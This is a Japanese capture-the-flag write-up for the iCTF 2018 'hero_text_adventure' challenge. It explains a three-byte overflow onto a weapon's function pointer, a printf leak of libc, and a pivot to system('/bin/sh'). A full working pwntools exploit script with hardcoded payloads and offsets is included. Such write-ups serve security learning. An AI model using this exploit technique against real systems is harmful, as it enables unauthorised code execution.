UCSB iCTF 2018 hero_text_adventure writeup
vuln
武器の名前の大きさは、0x20byteとなっている。しかし、4) give weapon a new name
で入力できるサイズが0x24byteとなっている。NULL終端されるため0x23byteが自由に制御でき、3byteがオーバーフローする。オーバフローする部分は、次の武器の関数ポインタであるため、装備する武器を変えてバトルすれば任意の処理へ制御を飛ばすことができる。
exploit
脆弱性を使用するためには、武器を2つ購入して最初に購入した武器を装備し名前を変えればいい。
書き換えた関数ポインタが呼ばれるとき、rdi(第一引数)は自分の名前を指すポインタ(player@0x603240)を格納している。なのでprintf(name)
をして、必要なアドレスをリークした。
書き換えられるバイト数は3byteだけなので、libcのsystem関数をそのまま書き込むことはできない。なのでバイナリ中で使用しているreadline
関数を一旦呼び出して、player以下の領域を任意の値を書き換えられるようにした。
最後は適当に調整して、system('/bin/sh')
を呼び出した。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "127.0.0.1" RPORT = 20007 LHOST = "127.0.0.1" LPORT = 20007 # libc = ELF('') elf = ELF('./hero_text_adventure') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./hero_text_adventure'], gdbscript=execute) else: conn = process(['./hero_text_adventure']) # conn = process(['./hero_text_adventure'], env={'LD_PRELOAD': ''}) # preparing for exploitation log.info('Pwning') conn.sendline('N') conn.sendline('%p.%p.%p.') conn.sendline('1') # make money conn.sendline('1337') conn.sendline('10000') # buy weapon conn.sendline('2') conn.sendline('1') # buy weapon conn.sendline('2') conn.sendline('2') # equip conn.sendline('3') conn.sendline('1') # give a name to weapon conn.sendline('4') payload = 'x'* 0x20 + p32(0x400ebf) # printf conn.send(payload) # equip conn.sendline('3') conn.sendline('2') # trigger vuln conn.sendline('1') conn.recvuntil('.0x28.') libc_base = int(conn.recv(len('0x7f4c4f89b0a4')), 16) - 0x3c40a4 log.info('libc_base = 0x%x', libc_base) # equip conn.sendline('3') conn.sendline('1') # give a name to weapon conn.sendline('4') payload = 'x'* 0x20 + p32(0x400C84) conn.send(payload) # equip conn.sendline('3') conn.sendline('2') # trigger vuln conn.sendline('1') payload = '/bin/sh\x00' + p64(0x603350) * 0x20 + 'a'*0x30 payload = '/bin/sh\x00' + p64(0x603350) * 0x20 + p64(libc_base + 0x45390) conn.send(payload) conn.send(p64(libc_base + 0x45390)) conn.recvuntil('6) exit') conn.sendline('1') conn.interactive()
さいごに
First Bloodを取れたので嬉しい。